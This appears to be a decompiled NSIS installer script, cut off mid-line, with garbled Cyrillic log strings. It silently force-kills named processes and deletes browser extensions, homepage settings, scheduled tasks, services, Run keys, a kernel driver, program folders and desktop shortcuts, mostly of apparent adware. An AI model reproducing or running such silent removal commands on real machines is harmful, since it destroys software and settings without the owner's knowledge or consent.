$PLUGINSDIR\KillProc.dll ; SetDetailsPrint lastused ; CallInstDLL $PLUGINSDIR\KillProc.dll FindProcesses StrCmp $1 -1 label_670 DetailPrint "-> Íàéäåíî $0 ïðîöåññîâ" StrCmp $0 0 label_670 StrCpy $0 installerTempZ.exe DetailPrint "Killing all processes called '$0'" KillProc::KillProcesses ; Call Initialize_____Plugins ; File $PLUGINSDIR\KillProc.dll ; SetDetailsPrint lastused ; CallInstDLL $PLUGINSDIR\KillProc.dll KillProcesses StrCmp $1 -1 label_670 DetailPrint "-> Killed $0 processes, faild to kill $1 processes" label_670: FunctionEnd Function func_671 StrCpy $0 Supdater.exe DetailPrint "Âûçîâ ïîèñêà ïðîöåññà '$0'" KillProc::FindProcesses ; Call Initialize_____Plugins ; File $PLUGINSDIR\KillProc.dll ; SetDetailsPrint lastused ; CallInstDLL $PLUGINSDIR\KillProc.dll FindProcesses StrCmp $1 -1 label_688 DetailPrint "-> Íàéäåíî $0 ïðîöåññîâ" StrCmp $0 0 label_688 StrCpy $0 Supdater.exe DetailPrint "Killing all processes called '$0'" KillProc::KillProcesses ; Call Initialize_____Plugins ; File $PLUGINSDIR\KillProc.dll ; SetDetailsPrint lastused ; CallInstDLL $PLUGINSDIR\KillProc.dll KillProcesses StrCmp $1 -1 label_688 DetailPrint "-> Killed $0 processes, faild to kill $1 processes" label_688: FunctionEnd Function func_689 StrCpy $0 updater.exe DetailPrint "Âûçîâ ïîèñêà ïðîöåññà '$0'" KillProc::FindProcesses ; Call Initialize_____Plugins ; File $PLUGINSDIR\KillProc.dll ; SetDetailsPrint lastused ; CallInstDLL $PLUGINSDIR\KillProc.dll FindProcesses StrCmp $1 -1 label_706 DetailPrint "-> Íàéäåíî $0 ïðîöåññîâ" StrCmp $0 0 label_706 StrCpy $0 updater.exe DetailPrint "Killing all processes called '$0'" KillProc::KillProcesses ; Call Initialize_____Plugins ; File $PLUGINSDIR\KillProc.dll ; SetDetailsPrint lastused ; CallInstDLL $PLUGINSDIR\KillProc.dll KillProcesses StrCmp $1 -1 label_706 DetailPrint "-> Killed $0 processes, faild to kill $1 processes" label_706: FunctionEnd Function func_707 StrCpy $0 system.exe DetailPrint "Âûçîâ ïîèñêà ïðîöåññà '$0'" KillProc::FindProcesses ; Call Initialize_____Plugins ; File $PLUGINSDIR\KillProc.dll ; SetDetailsPrint lastused ; CallInstDLL $PLUGINSDIR\KillProc.dll FindProcesses StrCmp $1 -1 label_724 DetailPrint "-> Íàéäåíî $0 ïðîöåññîâ" StrCmp $0 0 label_724 StrCpy $0 system.exe DetailPrint "Killing all processes called '$0'" KillProc::KillProcesses ; Call Initialize_____Plugins ; File $PLUGINSDIR\KillProc.dll ; SetDetailsPrint lastused ; CallInstDLL $PLUGINSDIR\KillProc.dll KillProcesses StrCmp $1 -1 label_724 DetailPrint "-> Killed $0 processes, faild to kill $1 processes" label_724: StrCpy $0 toolbar.exe DetailPrint "Âûçîâ ïîèñêà ïðîöåññà '$0'" KillProc::FindProcesses ; Call Initialize_____Plugins ; File $PLUGINSDIR\KillProc.dll ; SetDetailsPrint lastused ; CallInstDLL $PLUGINSDIR\KillProc.dll FindProcesses StrCmp $1 -1 label_741 DetailPrint "-> Íàéäåíî $0 ïðîöåññîâ" StrCmp $0 0 label_741 StrCpy $0 toolbar.exe DetailPrint "Killing all processes called '$0'" KillProc::KillProcesses ; Call Initialize_____Plugins ; File $PLUGINSDIR\KillProc.dll ; SetDetailsPrint lastused ; CallInstDLL $PLUGINSDIR\KillProc.dll KillProcesses StrCmp $1 -1 label_741 DetailPrint "-> Killed $0 processes, faild to kill $1 processes" label_741: FunctionEnd Function func_742 StrCpy $0 InstallAfterRebootService0.exe KillProc::FindProcesses ; Call Initialize_____Plugins ; File $PLUGINSDIR\KillProc.dll ; SetDetailsPrint lastused ; CallInstDLL $PLUGINSDIR\KillProc.dll FindProcesses StrCmp $1 -1 label_754 StrCmp $0 0 label_754 StrCpy $0 InstallAfterRebootService0.exe KillProc::KillProcesses ; Call Initialize_____Plugins ; File $PLUGINSDIR\KillProc.dll ; SetDetailsPrint lastused ; CallInstDLL $PLUGINSDIR\KillProc.dll KillProcesses label_754: FunctionEnd Function func_755 StrCpy $0 Setup32.exe KillProc::FindProcesses ; Call Initialize_____Plugins ; File $PLUGINSDIR\KillProc.dll ; SetDetailsPrint lastused ; CallInstDLL $PLUGINSDIR\KillProc.dll FindProcesses StrCmp $1 -1 label_767 StrCmp $0 0 label_767 StrCpy $0 Setup32.exe KillProc::KillProcesses ; Call Initialize_____Plugins ; File $PLUGINSDIR\KillProc.dll ; SetDetailsPrint lastused ; CallInstDLL $PLUGINSDIR\KillProc.dll KillProcesses label_767: StrCpy $0 lnsecsl.exe KillProc::FindProcesses ; Call Initialize_____Plugins ; File $PLUGINSDIR\KillProc.dll ; SetDetailsPrint lastused ; CallInstDLL $PLUGINSDIR\KillProc.dll FindProcesses StrCmp $1 -1 label_779 StrCmp $0 0 label_779 StrCpy $0 lnsecsl.exe KillProc::KillProcesses ; Call Initialize_____Plugins ; File $PLUGINSDIR\KillProc.dll ; SetDetailsPrint lastused ; CallInstDLL $PLUGINSDIR\KillProc.dll KillProcesses label_779: StrCpy $0 stdrt.exe KillProc::FindProcesses ; Call Initialize_____Plugins ; File $PLUGINSDIR\KillProc.dll ; SetDetailsPrint lastused ; CallInstDLL $PLUGINSDIR\KillProc.dll FindProcesses StrCmp $1 -1 label_791 StrCmp $0 0 label_791 StrCpy $0 stdrt.exe KillProc::KillProcesses ; Call Initialize_____Plugins ; File $PLUGINSDIR\KillProc.dll ; SetDetailsPrint lastused ; CallInstDLL $PLUGINSDIR\KillProc.dll KillProcesses label_791: FunctionEnd Function func_792 StrCpy $0 bd.exe KillProc::FindProcesses ; Call Initialize_____Plugins ; File $PLUGINSDIR\KillProc.dll ; SetDetailsPrint lastused ; CallInstDLL $PLUGINSDIR\KillProc.dll FindProcesses StrCmp $1 -1 label_804 StrCmp $0 0 label_804 StrCpy $0 bd.exe KillProc::KillProcesses ; Call Initialize_____Plugins ; File $PLUGINSDIR\KillProc.dll ; SetDetailsPrint lastused ; CallInstDLL $PLUGINSDIR\KillProc.dll KillProcesses label_804: FunctionEnd Function func_805 Pop $5 Pop $6 Pop $7 ClearErrors Push $6 Push www.zingload.com Call :label_405 Pop $0 IfErrors 0 label_839 ClearErrors Push $6 Push www.tagonsearch.com Call :label_405 Pop $0 IfErrors 0 label_839 ClearErrors Push $6 Push www.trotux.com Call :label_405 Pop $0 IfErrors 0 label_839 ClearErrors Push $6 Push www.youndoo.com Call :label_405 Pop $0 IfErrors 0 label_839 ClearErrors Push $6 Push www.tagonsearch.com Call :label_405 Pop $0 IfErrors 0 label_839 Goto label_858 label_839: nsJSON::Set /file $5 ; Call Initialize_____Plugins ; AllowSkipFiles on ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $5 ; Push /file ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set nsJSON::Delete homepage /end ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push /end ; Push homepage ; CallInstDLL $PLUGINSDIR\nsJSON.dll Delete nsJSON::Serialize /format /file $5 ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $5 ; Push /file ; Push /format ; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize label_858: ClearErrors Push $7 Push www.zingload.com Call :label_405 Pop $0 IfErrors 0 label_889 ClearErrors Push $7 Push www.tagonsearch.com Call :label_405 Pop $0 IfErrors 0 label_889 ClearErrors Push $7 Push www.trotux.com Call :label_405 Pop $0 IfErrors 0 label_889 ClearErrors Push $7 Push www.youndoo.com Call :label_405 Pop $0 IfErrors 0 label_889 ClearErrors Push $7 Push www.tagonsearch.com Call :label_405 Pop $0 IfErrors 0 label_889 Goto label_909 label_889: nsJSON::Set /file $5 ; Call Initialize_____Plugins ; AllowSkipFiles off ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $5 ; Push /file ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set nsJSON::Delete session startup_urls /end ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push /end ; Push startup_urls ; Push session ; CallInstDLL $PLUGINSDIR\nsJSON.dll Delete nsJSON::Serialize /format /file $5 ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $5 ; Push /file ; Push /format ; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize label_909: FunctionEnd Function func_910 Exch $5 ; Push $5 ; Exch ; Pop $5 nsJSON::Set /file $5 ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $5 ; Push /file ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set nsJSON::Serialize /format /file $5 ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $5 ; Push /file ; Push /format ; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize FunctionEnd Function func_927 Exch $5 ; Push $5 ; Exch ; Pop $5 IfFileExists $5\extensions\{e1ebd0f6-2b10-452c-b00f-eed45d13bc70}.xpi 0 label_932 Delete /REBOOTOK $5\extensions\{e1ebd0f6-2b10-452c-b00f-eed45d13bc70}.xpi label_932: IfFileExists $5\extensions\@90B817C8-8A5C-413B-9DDD-B2C61ED6E79A.xpi 0 label_934 Delete /REBOOTOK $5\extensions\@90B817C8-8A5C-413B-9DDD-B2C61ED6E79A.xpi label_934: IfFileExists $5\extensions\@A3592ADB-854A-443A-854E-EB92130D470D.xpi 0 label_936 Delete /REBOOTOK $5\extensions\@A3592ADB-854A-443A-854E-EB92130D470D.xpi label_936: IfFileExists $5\extensions\{6E727987-C8EA-44DA-8749-310C0FBE3C3E} 0 label_938 RMDir /r /REBOOTOK $5\extensions\{6E727987-C8EA-44DA-8749-310C0FBE3C3E} label_938: IfFileExists $5\extensions\{b4fd252b-0e9e-43de-a556-eac261c4409c}.xpi 0 label_940 Delete /REBOOTOK $5\extensions\{b4fd252b-0e9e-43de-a556-eac261c4409c}.xpi label_940: IfFileExists $5\extensions\sovetnik@metabar.ru.xpi 0 label_942 Delete /REBOOTOK $5\extensions\sovetnik@metabar.ru.xpi label_942: IfFileExists $5\extensions\{66E978CD-981F-47DF-AC42-E3CF417C1467}.xpi 0 label_944 Delete /REBOOTOK $5\extensions\{66E978CD-981F-47DF-AC42-E3CF417C1467}.xpi label_944: IfFileExists $5\extensions\{2918635d-38d1-46e9-bc6b-40eb3d4eb596}.xpi 0 label_946 Delete /REBOOTOK $5\extensions\{2918635d-38d1-46e9-bc6b-40eb3d4eb596}.xpi label_946: IfFileExists $5\extensions\{f71176af-165e-4051-8444-cd35107cb7de}.xpi 0 label_948 Delete /REBOOTOK $5\extensions\{f71176af-165e-4051-8444-cd35107cb7de}.xpi label_948: IfFileExists $5\extensions\{ec4da1ff-7077-45c5-a562-75abccd29d68}.xpi 0 label_950 Delete /REBOOTOK $5\extensions\{ec4da1ff-7077-45c5-a562-75abccd29d68}.xpi label_950: IfFileExists $5\extensions\{a55878cb-0279-431d-90f2-6fbce3fde9a5}.xpi 0 label_952 Delete /REBOOTOK $5\extensions\{a55878cb-0279-431d-90f2-6fbce3fde9a5}.xpi label_952: IfFileExists $5\extensions\{b2ea11bd-1e29-47bb-91e9-3ca1c32cd0cf}.xpi 0 label_954 Delete /REBOOTOK $5\extensions\{b2ea11bd-1e29-47bb-91e9-3ca1c32cd0cf}.xpi label_954: IfFileExists $5\extensions\ascsurfingprotection@iobit.com 0 label_956 RMDir /r /REBOOTOK $5\extensions\ascsurfingprotection@iobit.com label_956: IfFileExists $5\extensions\{A16B1AF7-982D-40C3-B5C1-633E1A6A6678}.xpi 0 label_958 Delete /REBOOTOK $5\extensions\{A16B1AF7-982D-40C3-B5C1-633E1A6A6678}.xpi label_958: IfFileExists $5\extensions\{607b689f-7600-45e4-b8e5-887f72dab15c}.xpi 0 label_960 Delete /REBOOTOK $5\extensions\{607b689f-7600-45e4-b8e5-887f72dab15c}.xpi label_960: IfFileExists $5\extensions\{9962419f-b4ee-4542-bf4c-6670cd51a193}.xpi 0 label_962 Delete /REBOOTOK $5\extensions\{9962419f-b4ee-4542-bf4c-6670cd51a193}.xpi label_962: IfFileExists $5\extensions\{17bc1cf4-ae6f-4c26-a042-7b856ffcb4ec}.xpi 0 label_964 Delete /REBOOTOK $5\extensions\{17bc1cf4-ae6f-4c26-a042-7b856ffcb4ec}.xpi label_964: IfFileExists $5\extensions\@E9438230-A7DF-4D1F-8F2D-CA1D0F0F7924.xpi 0 label_966 Delete /REBOOTOK $5\extensions\@E9438230-A7DF-4D1F-8F2D-CA1D0F0F7924.xpi label_966: FunctionEnd Function func_967 SetShellVarContext current IfFileExists "$PROGRAMFILES\Smart Application Controller\smappscontroller.exe" 0 label_982 nsExec::Exec "cmd /k taskkill /IM smappscontroller.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM smappscontroller.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"CheckControllerUpdatesUA$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"CheckControllerUpdatesUA$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK "$PROGRAMFILES\Smart Application Controller" IfFileExists "$APPDATA\Smart Application Controller" 0 label_982 RMDir /r /REBOOTOK "$APPDATA\Smart Application Controller" label_982: IfFileExists $PROGRAMFILES\simplitec\simpliclean\PowerSuite.exe 0 label_1004 nsExec::Exec "cmd /k taskkill /IM PowerSuite.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM PowerSuite.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM ServiceProvider.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM ServiceProvider.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"simplitec Power Suite$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"simplitec Power Suite$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /delete /tn $\"simplitec Power Suite (Tray)$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"simplitec Power Suite (Tray)$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK $PROGRAMFILES\simplitec label_1004: IfFileExists "$DESKTOP\Caba.io Êýøáýê ñåðâèñ.url" 0 label_1006 Delete "$DESKTOP\Caba.io Êýøáýê ñåðâèñ.url" label_1006: IfFileExists $DESKTOP\DiskPower.lnk 0 label_1008 Delete $DESKTOP\DiskPower.lnk label_1008: IfFileExists $PROGRAMFILES\CABA\cbmanager.exe 0 label_1016 nsExec::Exec "cmd /k taskkill /IM WMI cbmanager.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM WMI cbmanager.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM SYSTEM\ControlSet001\services\CashBackService RMDir /r /REBOOTOK $PROGRAMFILES\CABA label_1016: IfFileExists $PROGRAMFILES\DiskPower\DiskPower.exe 0 label_1024 nsExec::Exec "cmd /k taskkill /IM $\"WMI DiskPower.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"WMI DiskPower.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run DiskPower RMDir /r /REBOOTOK $PROGRAMFILES\DiskPower label_1024: IfFileExists "$PROGRAMFILES\WMIprovider\WMI Providers.exe" 0 label_1032 nsExec::Exec "cmd /k taskkill /IM WMI Providers.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM WMI Providers.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run WMIproviders RMDir /r /REBOOTOK $PROGRAMFILES\WMIprovider label_1032: IfFileExists "$DESKTOP\Èãðàòü Panzar.lnk" 0 label_1034 Delete "$DESKTOP\Èãðàòü Panzar.lnk" label_1034: IfFileExists "$DESKTOP\Èãðàòü â World Of Warships.lnk" 0 label_1036 Delete "$DESKTOP\Èãðàòü â World Of Warships.lnk" label_1036: IfFileExists "$APPDATA\User Pinned\TaskBar\Driver Booster 3.lnk" 0 label_1038 Delete /REBOOTOK "$APPDATA\User Pinned\TaskBar\Driver Booster 3.lnk" label_1038: IfFileExists $APPDATA\Rutube\launcher.exe 0 label_1051 nsExec::Exec "cmd /k taskkill /IM launcher.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM launcher.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM stub.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM stub.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run Rutube RMDir /r /REBOOTOK $APPDATA\Rutube label_1051: IfFileExists "$PROGRAMFILES\PC Clean Plus\PCCleanPlus.exe" 0 label_1073 nsExec::Exec "cmd /k taskkill /IM PCCleanPlus.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM PCCleanPlus.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"PC Clean Plus$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"PC Clean Plus$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /delete /tn $\"PC Clean Plus_DEFAULT$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"PC Clean Plus_DEFAULT$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /delete /tn $\"PC Clean Plus_UPDATES$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"PC Clean Plus_UPDATES$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK "$PROGRAMFILES\PC Clean Plus" label_1073: IfFileExists "$APPDATA\PC Clean Plus" 0 label_1075 RMDir /r /REBOOTOK "$APPDATA\PC Clean Plus" label_1075: IfFileExists "$APPDATA\Event Monitor\em.exe" 0 label_1087 nsExec::Exec "cmd /k taskkill /IM em.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM em.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"RunAtStartup$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"RunAtStartup$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK "$APPDATA\Event Monitor" label_1087: IfFileExists "$PROGRAMFILES64\My Web Shield\mweshield.exe" 0 label_1117 nsExec::Exec "cmd /k taskkill /IM mweshield.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM mweshield.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM mweshieldup.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM mweshieldup.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM SYSTEM\ControlSet001\services\mweshield DeleteRegKey HKLM SYSTEM\ControlSet001\services\mweshieldup RMDir /r /REBOOTOK "$PROGRAMFILES64\My Web Shield" System::Call kernel32::Wow64EnableWow64FsRedirection(i0) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i0) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\drivers\mwescontroller.sys 0 label_1109 DeleteRegKey HKLM SYSTEM\ControlSet001\services\mwescontroller Delete /REBOOTOK $SYSDIR\drivers\mwescontroller.sys label_1109: System::Call kernel32::Wow64EnableWow64FsRedirection(i1) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i1) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\drivers\mwescontroller.sys 0 label_1117 DeleteRegKey HKLM SYSTEM\ControlSet001\services\mwescontroller Delete /REBOOTOK $SYSDIR\drivers\mwescontroller.sys label_1117: IfFileExists $APPDATA\NewScreenChromeShot\NewScreenChromeShot.exe 0 label_1129 nsExec::Exec "cmd /k taskkill /IM NewScreenChromeShot.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM NewScreenChromeShot.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"NewScreenChromeShot$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"NewScreenChromeShot$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK $APPDATA\NewScreenChromeShot label_1129: IfFileExists $PROGRAMFILES\FastWeb\fastweb.exe 0 label_1137 nsExec::Exec "cmd /k taskkill /IM fastweb.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM fastweb.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run fastweb RMDir /r /REBOOTOK $PROGRAMFILES\FastWeb label_1137: IfFileExists $PROGRAMFILES\FastCompress-Zip\Fast_Support.exe 0 label_1145 nsExec::Exec "cmd /k taskkill /IM Fast_Support.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Fast_Support.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM SYSTEM\ControlSet001\services\FastCompress RMDir /r /REBOOTOK $PROGRAMFILES\FastCompress-Zip label_1145: IfFileExists $PROGRAMFILES\Tv-Plug-In\Tv-Plug-In.exe 0 label_1154 nsExec::Exec "cmd /k taskkill /IM Tv-Plug-In.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Tv-Plug-In.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM SYSTEM\ControlSet001\services\FastCompress DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run Tv-Plug-In RMDir /r /REBOOTOK $PROGRAMFILES\Tv-Plug-In label_1154: IfFileExists $APPDATA\Tv-Plug-In\TvPluginUpdater.exe 0 label_1161 nsExec::Exec "cmd /k taskkill /IM TvPluginUpdater.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM TvPluginUpdater.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $APPDATA\Tv-Plug-In label_1161: IfFileExists $LOCALAPPDATA\punto\punto.exe 0 label_1173 nsExec::Exec "cmd /k taskkill /IM punto.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM punto.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"punto$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"punto$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK $LOCALAPPDATA\punto label_1173: IfFileExists $LOCALAPPDATA\kemgadeojglibflomicgnfeopkdfflnk 0 label_1175 RMDir /r /REBOOTOK $LOCALAPPDATA\kemgadeojglibflomicgnfeopkdfflnk label_1175: IfFileExists $APPDATA\UPUpdata 0 label_1204 nsExec::Exec "cmd /k taskkill /IM cessrs.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM cessrs.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM AutoTime.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM AutoTime.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM service.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM service.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM MiniThunderPlatform.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM MiniThunderPlatform.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM msiql.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM msiql.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run msiql DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run "cessrs.exe -start" RMDir /r /REBOOTOK $APPDATA\UPUpdata label_1204: IfFileExists $APPDATA\THREADAPP.exe 0 label_1212 nsExec::Exec "cmd /k taskkill /IM THREADAPP.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM THREADAPP.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run EYAN Delete /REBOOTOK $APPDATA\THREADAPP.exe label_1212: IfFileExists $PROGRAMFILES\GreatMaker\MaohaWiFi 0 label_1221 nsExec::Exec "cmd /k taskkill /IM MaohaWifiSvr.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM MaohaWifiSvr.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM SYSTEM\ControlSet001\services\MaohaWifiNetPro DeleteRegKey HKLM SYSTEM\ControlSet001\services\MaohaWifiSvr RMDir /r /REBOOTOK $PROGRAMFILES\GreatMaker label_1221: ClearErrors EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\fcgnigmofekcllgbiejhmigggmgehkip $0 IfErrors label_1225 DeleteRegKey HKLM Software\Google\Chrome\Extensions\fcgnigmofekcllgbiejhmigggmgehkip label_1225: IfFileExists "$DESKTOP\Google Search.lnk" 0 label_1227 Delete "$DESKTOP\Google Search.lnk" label_1227: IfFileExists "$DESKTOP\Get Random Viral.lnk" 0 label_1229 Delete "$DESKTOP\Get Random Viral.lnk" label_1229: IfFileExists $LOCALAPPDATA\Con-trans.exe 0 label_1237 nsExec::Exec "cmd /k taskkill /IM Con-trans.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Con-trans.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM SYSTEM\ControlSet001\services\updfaeupaate Delete /REBOOTOK 